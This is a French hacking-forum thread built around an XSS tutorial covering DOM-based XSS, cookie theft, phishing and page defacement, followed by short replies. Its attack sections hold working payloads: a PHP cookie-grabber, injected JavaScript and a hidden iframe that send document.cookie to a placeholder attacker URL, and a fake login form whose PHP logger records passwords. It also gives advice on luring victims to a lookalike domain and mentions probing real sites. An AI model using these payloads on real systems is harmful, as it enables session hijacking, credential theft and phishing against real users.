Tutoriel Faille XSS Chapitre II-DOM et Injection HTML

[DreAmuS]

Cher amis Bonjour,
Nous avons pu voir dans le premier chapitre traitant de la faille XSS comment elle se comporter et surtout qu'il n'était pas si facile que ça à mettre en œuvre des 2 côtés. Par 2 côtés j'entends l'attaquant et le défendant. Pourquoi cela ? Car si la faille en elle-même est facilement sécurisable, la faille XSS peut prendre beaucoup d'autres formes afin de contourner le système de filtrage.
A partir du moment où l'on utilise un système http d'envoie GET ou POST en relation direct avec le terminal du client on peut s'attendre à ce que l'attaquant cherche à poser son script.
Nous verrons bien entendu mais ce sera dans le chapitre III les possibilités afin de complètement sécurisé un système de cette faille mais on verra aussi que la tâche est ardue et le risque 0 N'existe pas d'où sa terrible efficacité.
Je vais par conséquent aborder en premier un récapitulatif de la faille XSS, suivis DOM basée Cross Site Scripting (XSS), nous verrons ensuite quelques attaques et leur effet afin de comprendre comment se comporte une attaque XSS avancé de 2014 et pas de 2000  puis Attaque XSS: Steal cookie, clickjacking, auto xss, Hijacking, phishing, Déface, Redirection URL, modification de la BDD.



Le Top 10 Délivré en 2014 des Failles par d'après OWASP :
https://www.owasp.org/index.php/Cate...op_Ten_Project
Pour ma part j'ai retenus celle qui à mon avis permettait les meilleurs résultats en 2014.

En 2007 XSS déjà placé 4eme par OWASP et essencé par Pierre Gardenat chargé de mission SSI :
"XSS, qui apparaissait il y a quelques années comme la «vulnérabilité du pauvre» devenu aujourd'hui un vecteur de menaces particulièrement redoutable, qui mérite sa première place au classement."

Sur ces mots je vous convie à lire mon exposé sur cette Faille. Je ne généralise pas tout mes exposés sur ces question de hacking mais je tiens à dire qu'il m'est difficile de pouvoir contenir tout ce que j'ai pu apprendre en quelques PDF et qu'il peut s'avérer que je dérive ou m'exprime mal. En effet, j'ai toujours appris seul dans mon coin ou avec mes potes de HackeurVoiz mais bon ils sont à 5mn de chez moi les fondateurs de ce mouvement et on a l'apéro facile. D'ailleurs petite Dédicace à Nico et Piconbier qui ne rate jamais la session Eurodisney (on se demande s'ils vont plus pour les manèges que pour les conférences) et qui bosse toujours dans la sécurité informatique certains encore à leur compte. Merci à eux qui m'ont fortement influencé à apprendre la sécurité.
Notre rencontre autour des fameux pains au chocolat au beurre restera mémorable ^^. Dédicace aussi à leur épouse qui supporte ces fadas de PC qui en bouffe des heures et des heures même pendant leurs vacances.
Voila j'ai tout dit si ce n'est aussi dédicace à mes potos Hells-Angels, et Hell-Fire avec qui j'ai gardé le contact pour discuter de la vieille époque.
Voila sur ceux on est partis pour le chapitre II avec le Sommaire.

SOMMAIRE
I Dom XSS
II Steal Cookie
III Phishing XSS
IV Modification page Web
V Conclusion


Petit Rappel:
Nous avions vu dans le chapitre précédent comment s'écrivais une injection XSS et comment elle se comporte. On a vu que cette faille étais lié essentiellement aux technologies du web : Html, JavaScript, Flash, …bref tout langage connus par le navigateur. Oui puisqu'en effet l'attaque vise à exploiter les descripteurs HTML et le JavaScript.
On a pu voir également qu'il existait 2 types de failles : persistante et non-persistante.La première moins intéressante car elle demande plus de stratégie afin d'utiliser l'injection car elle n'est que temporaire et sujette aux scripts en lui-même. La seconde est plus dangereuse car elle reste et s'inscrit sur la BDD, donc on va pouvoir soit interférer avec des parties du site et amener quelqu'un à visiter un lien compromis sera plus facile. On pourra récupérer les cookies, stealer les id, injecter un malwares voire même un bon Ddos en bouclant la requête. Vous voyez et sans énuméré tout son potentiel on se rend compte déjà que pour le n°4 il n'est pas si mal comme faille.
On pourrait par exemple utiliser cette faille sur un poste, un profil tiens sur le calendar de VBulletin 4.2 on pouvait compromettre une fois inscrit en laissant un com. dessus. Chaque personne qui allais mater le calendar se taper l'injection, ensuite bien utilisé on redirige vers notre scripte malveillant héberger ailleurs qui va soutirer les informations qui nous intéressent.
Exploit XSS VB 4.2
Description de la vulnérabilité : Pour voler cookie de l'administrateur ou d'un membre d'un forum ou d'un lecteur pour les sites malveillants, l'attaquant devra tout d'abord créer un compte, puis venir à la section calendrier, et créer un événement pour lui-même. Dans le titre, il mettra le code XSS. Par exemple: ' ><img src x onerror alert(1)> Dans section du contenu, il va écrire tout ce qu'il veut. Maintenant, il va envoyer son profil à l'administrateur ou membre et attendre le retour cookie de la victime.
On est bien dans notre domaine la ! Bon ca été fixé depuis mais vous auriez vu les dégâts quand l'exploit est sortie.
Ce que je veux vous démontrez avant de rentré dans le vif du sujet : les attaques c'est que ça fonctionne. SQL aussi attention mais bon ca deviens plus rare ou alors des sites en carton fait par des développeurs du dimanche.
Well well well !!  On est bien tout le monde est beau et gentil et sur ceux passons au chapitre I.

##################################################################################
I Dom XSS
##################################################################################

XSS et l'API DOM une liaison dangereuse:
Qu'est ce que l'API DOM ?
Dom (Document Object Model) est un parseur, il permet de lire les feuille XML ou HTML et même de réécrire totalement cette page, détourner son usage : redirection de l'internaute, vol de session ou de données d'authentification, émission de requêtes à l'insu de l'internaute, etc.
En effet votre site n'est pas fait que de PHP, il est aussi basé sur du HTML, CSS et ce qui nous intéresse du JavaScript qui permet le POO.
Voici l'arbre d'une feuille de base HTML :
Naviguer dans le document
La structure DOM Comme il a été dit précédemment, le DOM pose comme concept que la page Web est vue comme un arbre, comme une hiérarchie d'éléments. On peut donc schématiser une page Web simple comme ceci :

Voici le code source de la page :

<!doctype html>
<html>
  <head>
    <meta charset="utf-8" />
    <title>Le titre de la page</title>
  </head>
  <body>
    <div>
      <p>Un peu de texte <a>et un lien</a></p>
    </div>
  </body>
</html>

Maintenant imaginons que notre code accepte et écrit saisie de l'utilisateur à l'aide de JavaScript avec l'aide de DOM.

<Html> 
<Head> 
</ Head>
 <Body> 
<Script> var pos = document.URL.indexOf ("q =") + 9; // trouve la position de la valeur 
Var UserInput=document.URL.substring (pos, document.URL.length); // Copier la valeur dans la variable UserInput 
document.write (unescape (UserInput)); // écrit le contenu de la page Web 
</ Script>
 </ Body> 
</ Html>

Exemple: une url de ce type >>> http://monsite/forum?q=default
Comme on peut le voir notre url n'est pas réécris par le serveur ce n'est pas PHP qui agis mais du JavaScript donc c'est le navigateur du client qui agis sur l'url. On peut considérer qu'un tel type de faille permet de manipuler l'url et éventuellement ce qui en résulte.
Le modèle d'objet de document (plus communément appelé le DOM) est un fondamental navigateur web concept. C'est une API pour interagir avec des objets dans des documents HTML ou XML documents. Le DOM fournit une méthode de langages de script pour interagir avec le moteur de rendu en fournissant des références aux éléments HTML sous la forme d'objets. Le DOM est efficace conjuguée avec JavaScript (ou d'autres langages de script). Il a été créé afin de permettre à une méthode définie de l'accès aux documents, tels que les scripts qui s'exécutent dans le navigateur peut lire et/ou écrire de façon dynamique. Cela a permis à la page de se modifier sans faire de nouvelles demandes au serveur web et sans la nécessité d'interaction de l'utilisateur.
Donc ce type de faille plus subtile que le XSS classique qui ne touche que les pages dynamiques le dom XSS touche les pages dynamiques et statiques.
Référencement et l'utilisation inappropriées dans le code côté client, des objets DOM qui ne sont pas entièrement contrôlés et vérifiés par les pages HTML générées par le serveur provoque une faille souvent minime mais exploitable par l'attaquant.
Nous allons voir en détail ensemble la nature d'une attaque Dom dans ce chapitre suivant ainsi que plusieurs alternatives détaillés. Sachez que l'on ne pourra pas pour chaque type d'XSS voir toutes les possibilités après c'est à vous de vous adapter. C'est la que le génie du hackeur fait la différence lorsqu'il sait adapter son attaque voire même inventer une nouvelle technique ou exploit afin de percer le système.
Attaque Dom XSS
Chaque fois qu'un script est exécuté côté client, le navigateur fournit le code avec le DOM de la page HTML où le script est exécuté, ainsi, offrant un accès à diverses propriétés de la page et leurs valeurs, peuplées par le navigateur de son point de vue.
DOM XSS est un type de cross site Scripting attaque qui repose sur une mauvaise manipulation, dans la page HTML, des données à partir de son DOM associé. Parmi les objets dans les DOM, il existe plusieurs que l'attaquant peut manipuler afin de générer la condition XSS, et le plus populaire, de ce point de vue, sont les objets document.URL, document. Location et document.referrer.
En fait lorsque le système utilise JavaScript pour écrire une partie du Dom en chargeant la page comme par exemple pour créé un tableau ou changer la terminaison de l'url tout comme un URI le ferais avec un hyperlien pour changer de page ou inscrire le pseudo de l'user en fin de page, on pourrais avoir des prémices de DOM XSS de manipulations de ce code par le biais d'injection XSS.
Cela ne parait pas clair ainsi mais avec des exemples vous devriez comprendre la nuance.
Prenez ce code copier/coller le sur votre bloc note et nommez le PageDomXss.html.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<HTML>
<head>

<TITLE>Dom XSS</TITLE>
<script type="text/javascript" src="http://stats.hosting24.com/count.php"></script>
</head>
<h1><div style="text-align: center; border-width:4px; border-style:dotted; border-color:blue;background-image:url(http://www.moving-wallpapers.com/wp-content/uploads/2014/05/Moving-Background-GIF.gif);"> <span style="color: #f3f3f3; font-family:serif;"><h1>Dr<span style="color: Red; font-family:serif;">3<span style="color: #f3f3f3; font-family:serif;">AmuS<span style="color: Black; font-family:serif;">Tutoriel</span></a></div></div></div>
<div class="separator" style="clear: both; text-align: center;"></br>
<a href="http://1.bp.blogspot.com/-PmRtsjxRTTo/VCXbJmr_-OI/AAAAAAAABF0/lisAOgigqfc/s1600/Xss-virus.jpg" imageanchor="1" style="margin-left: 1em;margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-PmRtsjxRTTo/VCXbJmr_-OI/AAAAAAAABF0/lisAOgigqfc/s1600/Xss-virus.jpg" style="border-width:4px; border-style:groove ; border-color:black;" /></a></div>
<center>
<p>-----------------------------------------------------------------------------------------------------------------------</p>
<body bgcolor="brown"
<h1>Hello..le code javascript affiche le chemin ~
<script>
var pos=document.URL.indexOf("name=")+5;  
var userInput=document.URL.substring(pos,document.URL.length); 
document.write(unescape(userInput)); 
</script>
<p>-----------------------------------------------------------------------------------------------------------------------</p>

</center>
</h1>
<br>
<center>
<h2>
<b> Cette page est faillible au Dom XSS</h2>
<div style="text-align: center;">
<a href="">Liens Vers Le Pdf</a>
</div>

</body>
</HTML>

Holà que vois ton document.URL alerte un DOM XSS en beauté. Vous l'aurez compris que pour trouver des failles XSS il faut avant tout vérifier le code source de la page concerné et chercher une allocution référent au DOM.

Par exemple, si un morceau de JavaScript accède à un paramètre de requête d'URL et écrit certains HTML dans sa propre page, à l'aide de cette information qui n'est pas codée à l'aide des entités HTML, un trou XSS éventuellement sera présent, puisque ces données écrites seront réinterprétées par les navigateurs comme HTML qui pourrait inclure le script côté client supplémentaire






Parfois l'on peut dériver sur une attaque XSS simplement pour nous donner des informations sur le Path du site où autres. Ce n'est pas forcément majeure mais il est certains que créé un bug Error est un plus pour éventuellement pivoter vers une nouvelle tournure de l'attaque ou faille.
Exemple: sur un site une injection XSS m'a permis de récupérer un numéro de session ce qui a donner sur une autre page :
http://www.kilohotel.com/rv8/phplink...9b01b40e0849c5
Le résultat :

Le message d'erreur peut divulguer des informations sensibles et cette information peuvent être utilisés par un attaquant pour monter de nouvelles attaques ou pour agrandir la surface d'attaque. Source code, trace de la pile, etc. données peuvent être divulguées.
J'ai pu avoir grâce à ce chemin des fichiers et les télécharger, bon rien de compromettant, mais c'est cela aussi hacker ce n'est pas resté cantonner à la faille mais aussi aux possibilités ultérieurs à la faille comme des renseignements pour préparer une nouvelle attaque sous un angle différent.
Après étude du site, il y avait la possibilité d'un clickjacking sur un lien et un mail me permettant de l'envoyer à l'Admin afin de grabber les cookies. Je ne suis pas allé plus loin. Pourquoi ? Car plus on va loin dans le hacking plus on peut avoir un jour la gendarmerie devant le pied de sa porte. Chacun ses choix. Ce que j'essais à chaque fois de vous montrer c'est que hacker c'est no limite si on a pas de scrupule et l'interaction avec chaque technique peut amener souvent à la résolution des problèmes épineux d'intrusion jugé difficile.

Voici une autre url qui va boucler le site: http://www.net-sleuth.com/index.php?...;%3C/script%3E
Bon avant de continuer je vous donne ce script simple où 2 failles XSS sont présentes:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
  <head>
  
<meta name="description" http-equiv="Content-Type" content="tex/html ;charset=utf-8">
<meta name="auteur" content="DreAmuS">
  
    <title>XSS</title>
	
  </head>
<!--script faille XSS by DreAmuS -->
  <body bgcolor="#FFFFE8" topmargin="5">
<h1>Vulnérabilité : DOM XSS</h1>
    <!--
    Page Soumis à une faille DOM XSS
    -->
	
	<select>
<script>
document.write("<OPTION value=1>"+document.location.href.substring
(document.location.href.indexOf("default=")+8)+"</OPTION>");
document.write("<OPTION value=2>English</OPTION>");
</script>
</select>

<div style="color=blue;">

	<h1>Vulnerabilité: Reflected Cross Site Scripting (XSS)</h1>
	
<!-- Formulaire -->

	<div>

	<?php 	
		if (isset($_POST['nom']))
{
		echo $_POST['nom'] ;  
		
}	else{
echo 'pas de nom inscrit';
}	
	?>	<br/>
		<form  action="" method="POST">
			<p>Quel est votre nom ?</p>
			          
			<input type="text" name="nom" />
			<input type="submit" value="Valider" />
					
		</form>
	</div>
</div>
      
<p style="float:right;"><img src="http://www.tux-planet.fr/public/images/schemas/keylogger-javascript.gif"  width="50%" height="50%" alt="image prise sur le net"></p>
          
          <br /><br /><br />
          <div align="right" size="20">
            <a href="" onclick="alert('Recherchez LaFaille XSS en Lisant le Code Source');" title="Retourner en Haut"><i>Help !!!</i></a>
			<a href="" onclick="alert('Il y a 2 failles sur cette page');" title="Retourner en Haut"><i>Help 2 !!!</i></a>
          </div>
		  
  </body>
</html>

Solution: [SSX]=ʇןnɐɟǝp¿[H⊥∀Ԁ] ןɹn,ן suɐp ɔǝʌɐ SSX WOᗡ un ɐ uo ǝƃɐd ɐן ǝp ןW⊥H ǝpoɔ ǝן suɐᗡ- ˙ǝɹıɐןnɯɹoɟ ǝן suɐp ǝpoɔ ǝן ʇuɐʎoʌuǝ uǝ ʇǝƃ ǝdʎʇ ǝp SSX ǝnbɐʇʇɐ ǝun ɐ uo : ǝɹıɐןnɯɹoɟ ǝן suɐᗡ-
Pour le remettre à l'endroit copier le ici : http://www.dcode.fr/ecriture-a-l-envers
On a enfin compris ce qu'étais DOM XSS et surtout comment elle agissait au sein d'une page statique autant que dynamique.
Nous pouvons en conclure qu'il existe 3 types d'attaque XSS :
-Reflected XSS
-Stored XSS
-Dom XSS

Arachni0.4.0.2
Plusieurs techniques de découverte des DOM-based XSS
>Analyse de code source statique
>Analyse dynamique via moteur JavaScript

W3af utilise une autre technique pour découvrir les DOM XSS:
>Recherche des points d’entrée (sources)
>Recherche des points de sortie (sinks)
>Identification dans le code source de la présence des ces sources et sinks

Afin de comprendre comment les vulnérabilités XSS basées sur DOM fonctionnent, il faut d'abord comprendre la différence entre les sources et les puits.
La source est la propriété qui est lue à partir du DOM. Il s'agit de la propriété où un script peut être injecté pour exploiter une vulnérabilité XSS DOM. Les sources énumérées ci-dessous sont parmi quelques-unes des propriétés DOM qui sont les plus couramment exploitées pour XSS base-DOM.


Source - https://code.google.com/p/domxsswiki/wiki/Sources

D'autre part sont les points dans le flux de données à laquelle l'entrée non fiable se émis en sortie sur la page ou exécuté par JavaScript dans la page. Ce qui suit est une liste des puits communs où XSS basé DOM-up se termine en cours d'exécution.

Remarque - window.location ou document.location et ses propriétés peuvent être à la fois une source et un puits.
Nous allons maintenant voire dans cette 2eme partie l'utilisation de la faille XSS afin de récupérer des cookies.

##################################################################################
II Steal Cookies
##################################################################################

Maintenant que nous connaissons Les différentes failles XSS, nous allons pouvoir commencer à nous intéresser à ce que nous pouvons faire avec. Il est clair que juste mettre une boite avec "Attention XSS" ça ne sert à rien. C'est une faille qui ne va pas nous permettre d'aller bien loi.
Mais si oui si on peut proposer des scripts XSS plus avancés alors nous allons pouvoir déterminer plusieurs types d'attaque qui vont être un peu compliqué à mettre en œuvre mais seront sacrément efficace.
Pour Réussir le vol de cookie il faut déjà un peu de préparation. Il nous faut un script grabber à cookie : Cookie.php
Suis sympas je vous file un script :

<?php
$collectedCookie=$HTTP_GET_VARS["cookie"];
$date=date("l ds of F Y h:i:s A");
$user_agent=$_SERVER['HTTP_USER_AGENT'];
$file=fopen('cookie.txt','a');
fwrite($file,"DATE:$date || USER AGENT:$user_agent || COOKIE:$cookie \n");
fclose($file);
echo '<b>Désolé, cette page est en construction</b></br></br> S'il vous plaît Cliquez <a 
href="http://www.google.com/"> ici </a> pour revenir à la page précédente ';
?>

Voyons en détails ce script afin de mieux comprendre le processus.
$collectedCookie=$HTTP_GET_VARS["cookie"];
Dans cette ligne nous allons stocker les données dans une variable GET appelée cookie ensuite l'appelé collectedCookie.
$date=date("l ds of F Y h:i:s A");

Ici nous stockons la date de la connexion, il nous dit quand ces cookies ont été volés.
$user_agent=$_SERVER['HTTP_USER_AGENT'];
Ici nous stockons les user_agent de la victime pour de nouvelles attaques si elle a besoin.

$file=fopen('stolen_cookie.txt','a');

Ici nous créons un fichier appelé stolen_cookie.txt qui a l'information de cookie de la victime.

fwrite($file,"DATE:$date || USER AGENT:$user_agent || COOKIE:$collectedCookie \n");

Ici nous enregistrer les données dans ce format (“DATE: || USER AGENT || COOKIE”)

fclose($file);

On ferme le descripteur de fichier.

echo '<b>Désolé, cette page est en construction</b></br></br> S'il vous plaît Cliquez <a
href="http://www.google.com/"> ici </a> pour revenir à la page précédente ';

Ici nous imprimons un message sur l'écran ("Désolé, cette page est en construction") donnez-lui un lien pour y cliquer qui l'envoient à google.
Alors nous allons le transférer à une société d'hébergement web, après nous allons injecter un script java code qui va envoyer les cookies à notre site Web malveillant. Lorsque le fichier cookie.php recevra les informations de Cookie, il va l'enregistrer dans un fichier appelé cookie.txt.
Voyons ensemble 2 manières d'envoyer le script. Voici le code JavaScript que nous allons injecter dans le serveur de la victime ou d'un navigateur:
1er code:

<a onclick="document.location='http://[URL_Malveillante]/ cookie.php?
cookie='+escape(document.cookie);" href="#">Click for details Bug Error</a>

Pour envoyer ce lien vers la victime nous avons besoin qu'il clique dessus pour le rediriger vers notre url malveillante afin de capturer ces cookies. C'est un peu embêtant je vous l'avoue car il faut travailler un peu l'url.
Tenez un cheptel de site qui raccourcit l'url.
Services pour raccourcir une url:
http://shar.as/
http://g00.me/
http://ppt.li
http://lc.cx
http://bit.ly
2eme code:

<iframe width='0' height='0' frameborder='0' 
src='<script>document.location='http://[url_malveillante]/ cookie.php?
cookie='+escape(document.cookie);</script>' />

Ce script n'a pas besoin de l'interaction de l'utilisateur, ici, nous allons injecter un iframe dans le site Web de la victime (commentaire, poste,…) il sera masquer et se fera automatiquement lors de la connexion de la victime sur la page contenant notre iframe.
Conclusion:
Pour voler les cookies, nous avons besoin de certaines conditions:
• Un script PHP qui va recevoir le cookie
• le code JavaScript qui vole le cookie et l'envoie à notre site malveillant
• une société d'hébergement Web qui accueillera notre fichier PHP
Nous avons aussi le classique :

<script>document.location ="http://[Url_Malveillante]/[path]/cookie.php?cookie=" + document.cookie;</script>

##################################################################################
III Phishing
##################################################################################

On a remarqué que la redirection d'url via une injection de code XSS peut nous amener à proposer d'autres techniques comme par exemple le phishing.
Le phishing est une technique de hacking qui consiste à imiter un site en utilisant sa page d'accueil et un login truqué qui va nous copier les ID de la victime. Par conséquent pensant se loguer à son site il va en fait transmettre les informations via notre fausse boite de Login.
Le but étant d'utiliser la redirection XSS afin que la victime ne se rende compte de rien. Bien évidement si l'on doit envoyer une url avec redirection, il sera difficile de faire admettre cette url d'où la nécessité de la travailler avant.
C'est clair que l'on ne pourra pas envoyer n'importe quoi et penser que la victime va gober sans broncher. Notre redirection qui sera dans l'url devra avoir l'aspect le plus discret possible ou alors être très persuasif.
1) Xss Redirect Phishing
Prenons une faille XSS comme celle-ci:
http://www.siteVictime.com/index.php?search=[xss]
Bon on dira qu'elle est exploitable je ne vais pas énumérer à chaque fois les techniques d'investigations XSS pour ma part à partir de maintenant c'est un acquis. Bien prenons notre injection et procédons à l'élaboration du script qui va ouvrir vers notre page phishing.

"'><script>document.location.href="http://phishingURL"</script>

//A la place de phishingURL vous aurez compris que l'on a mis notre page phishing ainsi que le fake login pour notre victime.

Exemple d'encodage :
http://www.siteVictime.com/index.php...ocation.href=" http://www.google.com "</script>
On pourra aussi réduire l'url à partir des sites que je vous ai donnés auparavant afin de la faire mieux passer. Mais bon ce n'est pas concluant.
Petite Astuce de pro: (Hors sujet avec XSS)
Je vous file une astuce tout simple, qui aura un peu plus de chance de marcher. La redirection url doit être secondée. Je m'entends par la que vous allez une fois votre site héberger lui attribuer une redirection naturel genre avec Azote : http://www.azote.org/index.html
Ensuite vous n'aurez plus qu'à l'envoyer à la victime. On sort du contexte XSS mais vu que l'on parle Phishing je pense que c'étais un bonus. Sur azote vous aurez par exemple:
Site visé: http://victime.fr/login.php
Site Fake: http://victime.fr.cr/login.php
Vous approchez la victime et pendant quelques temps vous lui adressez des emails en prétextant des soucis sur des postes ou autre et lui envoyer de liens.
http://victime.fr/post?=125 Bon et j'en passe pour le rassurer dans un premier temps. Puis un de ces 4 matins vous lui envoyer l'url piégé et hop phishing boy c'est vous.

2) Xss Html inject Phishing
Injecter de l'Html Xss consiste à injecter un code d'une page de fake login dans l'url pour faire une page de phishing.
Ex: Si le site Web contient une vuln persistante Xss, par exemple sur un livre d'or, écrire le code pour envoyer tous les utilisateurs qui visiteront le livre d'or vers la page de phishing et peut-être se connecter dessus.

http://SiteVictime.com/index.php?q="'><html><head><meta
content="text/html; charset=ISO-8859-1"http-equiv="content-type"
/><title></title></head><body><div style="text-align: center;"><form
Method="POST" Action="phishing.php" Name="form">Phishingpage :<br /><br
/>Login :<br />&nbsp;<input name="login" /><br />Password :<br
/>&nbsp;<input name="Password" type="password" /><br /><br /><input
name="Valid" value="Ok !" type="submit" /><br /></form></div></body></html>

ATTENTION : N'oubliez pas de les encoder !
C'est clair que tel quel SOS on le voie à 100KM 
Phishing.php :

<?php
$login = $_POST['login'];
$password = $_POST['Password'];
$open = fopen('log.htm', 'a+');
fputs($open, 'Login : ' . $login . '<br >' . '
Password : ' . $password . '<br >' . '<br >');
?>

Attaque XSS: Steal cookie, clickjacking, auto xss, phishing, Déface, Redirection URL, modification de la BDD.
3) Iframe Phishing
Le phishing iframe est comme la redirection XSS phishing et html en une seule : c'est une redirection en iframe sur le site web.

http://www.siteVictime.com/index.php?search="'><iframe src=http://google.Com height="300" width="800"></iframe>

Toujours pareil n'oubliez pas d'encoder.

##################################################################################
IV Modification de page Web
##################################################################################

Nous avons pu apprendre qu'avec du code JavaScript en exploitant une faille XSS, on pouvait :
Changer l'URL de la page et donc ses referrer.
Ex: window.location.replace("http://URL/");

Changer les composantes de l'URL


Mais on peut également exploiter la page en elle-même et avec du code XSS avancé on pourra: Changer le contenu d'une page, Déface cette page, modifier les images de cette page, rajouter un contenu clickjacking,…
document.write(location.pathname)
location.href = "url"

Prenons par exemple:

  <div class="alert alert-error">
        <div align="center">
            <b>Modification HTML</b>
             </div>
    </div>
      <h1 align="center">Bienvenue !</h1>
        <h2></h2><h2></h2>
      <form class="form-signin">
        <h2 class="form-signin-heading">Modifie moi!</h2>
        <input type="text" value="" class="input-block-level"  name="url">
        <button class="btn btn-large btn-primary" type="submit">Envoyer</button>
      </form>      
      <h2></h2>

A l'aide du code suivant et surtout vérification que la page a une faille XSS:

<script>window.onload=function(){document.getElementsByTagName('h1')[0].innerHTML="bienvenue!";document.getElementsByTagName('h2')[2].innerHTML="Modified You"}</script>

On l'injecte directement dans le formulaire.
window.onload : on charge sur le navigateur pour mettre la fonction en œuvre.
document.getElementsByTagName : l'objet Element permet de récupérer les éléments par rapport à leur nom dans un élément.
Ici on récupère dans h1 et h2 les éléments "Bienvenue !" et "Modifie moi !"
On concatène avec .innerHTML qui permet de changer le contenu par la valeur que l'on assigne juste après.
Vous voyez la connaissance de JavaScript est un plus afin de permettre de produire des scripts plus efficace.

Je n'ai pas pu tout entrevoir dans ce chapitre car parler du XSS serais sans fin au niveau des attaques tant elles sont différentes suivant les situations.

##################################################################################
V Conclusion
##################################################################################

Par conséquent nous avons pu voir que la faille XSS touche plus de 80% des sites. Par contre, on dira que 25 à 30 % sont vraiment exploitable et dangereux mais cela laisse envisager l'engouement sur cette faille et ses possibilités.
Je n'ai pas traité profondément le Hijacking et le clickjacking que je ferais dans la partie III de mon exposé sur le XSS. Injection d’un Keylogger par XSS
Travail sur un script proxy en python pour exploiter la faille XSS en sniffant le réseau. Nous verrons comment se mettre en MIT à partir d'une session pour contrôler le browser d'une victime via injection XSS au départ. Tout ceci nous permettra de découvrir un proxy que je vous dévoilerais la prochaine fois codé en python et qui si peu connus fait des ravages.
Nous verrons aussi comment utiliser les cookies récupéré par le stealing cookie de ce chapitre.
Je finaliserais cette aventure dans le XSS par les sécurités contre XSS et une introduction sur d'autres failles: CRF, XXE, RFI, LFI, RCE, OS commanding injection avec des fonctions comme system(),exec(),shell_exec() et SOAP.
Je ferais l'impasse sur des failles plutôt obsolètes genre include et je ferais un tutoriel sur la faille SQL Avancé avec les dernières mises en œuvre possible et son avenir.
J'espère que cela vous a plu alors n'hésiter pas à partagez mes connaissances.

Liste de site utile :

http://www.domxssscanner.com/
https://code.google.com/p/dominator/...onInstructions
http://www.java2s.com/Code/JavaScrip...tReference.htm
http://kotowicz.net/absolute/
https://code.google.com/p/ra2-dom-xs...downloads/list
http://w3af.org/download
http://webscantest.com
https://github.com/yaph/domxssscanner
http://crypo.dp.ua/


Voila Merci de me suivre et à bientôt pour la suite.
Voici le lien de mon PDF: http://www.mediafire.com/view/p9hb1u...g-PartieII.pdf

[ZarL]

J'ai pas tout compris, mais merci. Faudrait peut être que je lise ton chapter ONE avant !

[DreAmuS]

Merci Zarl.

En effet, je te conseille de lire le I avant. Il y aura surement un III mais aussi un IV car je vais devoir développer un chapitre rien que sur l'utilisation du XSS en MITM à l'aide d'un proxy.Je dévoilerais un proxy d'un genre nouveau qui est peu utiliser et connus mais qui cartonne pas mal.

Je développerais la finalisation de l'attaque par session ainsi que les autres techniques dans le III. Ce qu'il faut que tu retienne de tout cela c'est qu'apprendre le langage de la machine que l'on veut compromettre est indispensable ,mais pas que, aussi savoir l'intéraction que peut avoir cette machine ou système avec le reste.

Ne t'arrête pas à mes tutoriels mais va chercher plus loin. Beaucoup de débutants lisent des tutos puis pouf ils vont faire pareil ailleur et la se disent ça marche pas son truc. Normale, des injections XSS il y en a des milliers diffèrentes et de nouvelles chaque jour. Le monde évolue et le hackeur de 2014 doit savoir s'adapter rapidement.

Je te conseille d'apprendre javascript,html,jQuery,... et au moins les bases de php afin déjà d'avoir un acquis. Ensuite, essais de comprendre comment imbriquer ces langages afin de déployer une injection XSS. Petit à petit tu sera capable même sans Scanner de Vuln de chercher des failles s'il y en a bien entendu.

Sache que comme je l'ai dit 80% de sites ont cette faille mais 30 à 40% seulement sont exploitables.

Donc les tutos, videos , tools super c'est bien mais si tu veux vraiment taper chez les Grands va falloir coder. Apprendre à créé avant de détruire est indispensable. Apprends à te servir de ces langages ensuite regarde où se poste les bugs et finalement comment on peut les utiliser à ses fins. La tu aura poser les bases du hacking.

J'utilise des scanners aussi mais vraiment qu'en dernier lieu quand je n'ai plus le choix ou d'idée. Après je te conseille d'utiliser mes scripts que j'ai mis afin de le faire à la maison. Il y a aussi des labs tout prêt à installer en iso sur VM ou sur Xamp en local.

Voila et encore merci d'avoir pris la peine de me lire

[Sadik]

Re: Faille XSS Chapitre II-DOM et Injection HTML

(attaque avancée*)

[rayliegh]

Il y a certaines choses que je ne comprend pas d'abord pourquoi créer un site php?ne peut on pas le faire directement vers 192.168.** ?ensuite comment les cookies sont tils enregistré étant donné que le script php est dans un fichier texte et même pas sur la page internet?l'utilisateur clique sur le lien admettons que le script permette l'interception des paquet comment il fait pour les enregistrer dans un fichier ?est ce que cela se copie dans le navigateur?sinon dans un dossier si c'est lecas comment?

J'ai peu de connaissance en php et java mais si j'arrive pas à comprendre ça alors là...c'est récurrent à chaque fois j'abandonne et ça fiit par revenir je suis trop impatient, je manque clairement d'attention et part dans tous les sens manque de concentration genre par exemple à l'age de 12 ans j'avais arrêté après scanné des ip avec subseven et avoir joué pendant 5 min avec le lecteur cd.

Joué avec la sourie et ouvrir les dossier sans même les regarder juste pour dire j'ai la possibilité , le pouvoir de le fairemais cela ne m'intérressait pas au final j'ai affiché un fond noir et avec ça sourie je lui ais conseillé de soit bloquer son port soit déconnecter internet et lancer un antivirus.

Mais ce qui m'a le plus dégouté c'est que je me suis dit "c'est bien j'ai cliqué sur un bouton y a rien d'extraordinaire à ça c'est peut être jouissif pendant les 5 première minute de jouer avec le pc d'un autre mais au final je ne connais que le principe de base, je ne sais pas comment il fonctionne et je saurais encore moins le programmer, du coup j'ai arrêté...

En plus avec cette faille on peut faire ce que l'on veut ,là avec cela on pourrait faire tant de chose comme prendre le contrôle de la session admin lancer un message disant qu'il y a eu un roleback d'oracle ou autre (pour ça suffit de mettre le lien qui s'active dès que la sourie se position dessus tout en lançant un lien une pub en boucle permmettant que l'admin clique dessus ensuite on dit que la table user a été effacé ainsi que les point de sauvegarde et qu'il faux se rendre sur tel site on poste un formulaire et on récupère les passes.

Bon après j'ai l'aval de l'admin à qui j'ai signalé les failles et qui veux me rémunérer alors que de une ça m'intérresse pas tout comme les logins et mdp c'est le fait d'y arriver pour me remotiver parce que pareil quel est l'intérêt d'utiliser BT?aucun tout se fait tout seul il suffit de cliquer n'importe qui est pareil d'en faire autant.

En plus j'ai de sérieux problèmes de concentration (genre couper un film parc que d'un coup on se demande si la raison pour laquelle les usa n'aiment pas les français est dû au fait que degaulles ait refusé aux américains de leur accorder la france en tant que base militaire amériquaine alors que pour une fois ils ne critiquaient pas les français dans la film c'est pas un comportement normal ça.

Je suis trop impatient je veux toujours tout savoir tout de suite

